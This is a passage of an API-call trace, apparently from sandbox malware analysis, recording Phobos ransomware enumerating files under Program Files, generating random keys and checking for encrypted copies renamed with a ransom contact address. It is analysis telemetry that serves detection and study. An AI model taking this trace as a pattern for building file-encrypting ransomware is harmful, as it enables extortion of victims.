shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0148.310] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2240) returned 1 [0148.310] CloseHandle (hObject=0x584) returned 1 [0148.310] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml")) returned 0x20 [0148.310] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.310] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.310] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0148.310] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0148.539] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2644) returned 1 [0148.539] CloseHandle (hObject=0x574) returned 1 [0148.539] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml")) returned 0x20 [0148.540] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.540] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.540] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0148.560] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0148.583] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0148.583] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0148.588] GetFileSizeEx (in: hFile=0x56c, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=15195) returned 1 [0148.588] CloseHandle (hObject=0x56c) returned 1 [0148.589] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc")) returned 0x20 [0148.590] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.591] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.591] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0148.591] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0148.592] GetFileSizeEx (in: hFile=0x56c, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=623) returned 1 [0148.592] CloseHandle (hObject=0x56c) returned 1 [0148.592] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc")) returned 0x20 [0148.592] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.596] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.596] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0149.047] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.048] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0149.049] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=1932) returned 1 [0149.050] CloseHandle (hObject=0x574) returned 1 [0149.050] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf")) returned 0x220 [0149.050] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0x20 [0149.051] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.051] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0149.055] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=9992) returned 1 [0149.055] CloseHandle (hObject=0x574) returned 1 [0149.055] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf")) returned 0x220 [0149.055] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.056] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.056] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.056] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0149.059] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=24588) returned 1 [0149.059] CloseHandle (hObject=0x574) returned 1 [0149.059] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf")) returned 0x220 [0149.059] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.061] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.111] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.111] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0149.122] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=3632) returned 1 [0149.122] CloseHandle (hObject=0x574) returned 1 [0149.122] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf")) returned 0x220 [0149.122] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.122] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.123] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.123] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0149.126] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2780) returned 1 [0149.126] CloseHandle (hObject=0x574) returned 1 [0149.126] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf")) returned 0x220 [0149.126] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.126] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.127] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.127] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0149.129] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2796) returned 1 [0149.129] CloseHandle (hObject=0x574) returned 1 [0149.129] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf")) returned 0x220 [0149.129] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.129] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.130] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.130] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0149.132] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2960) returned 1 [0149.132] CloseHandle (hObject=0x574) returned 1 [0149.132] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf")) returned 0x220 [0149.132] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.133] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.133] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.133] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0149.134] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=3588) returned 1 [0149.134] CloseHandle (hObject=0x574) returned 1 [0149.134] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf")) returned 0x220 [0149.135] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.135] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.135] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.135] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0149.137] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2228) returned 1 [0149.137] CloseHandle (hObject=0x574) returned 1 [0149.137] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf")) returned 0x220 [0149.138] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.140] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.148] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.148] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0149.174] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2080) returned 1 [0149.174] CloseHandle (hObject=0x574) returned 1 [0149.175] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf")) returned 0x220 [0149.175] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.176] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.299] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.299] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.329] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2052) returned 1 [0149.329] CloseHandle (hObject=0x580) returned 1 [0149.329] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf")) returned 0x220 [0149.329] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.329] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.330] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.330] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.331] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=1888) returned 1 [0149.331] CloseHandle (hObject=0x580) returned 1 [0149.331] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf")) returned 0x220 [0149.331] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.331] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.331] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.331] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.332] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=3796) returned 1 [0149.332] CloseHandle (hObject=0x580) returned 1 [0149.332] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf")) returned 0x220 [0149.332] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.332] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.332] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: 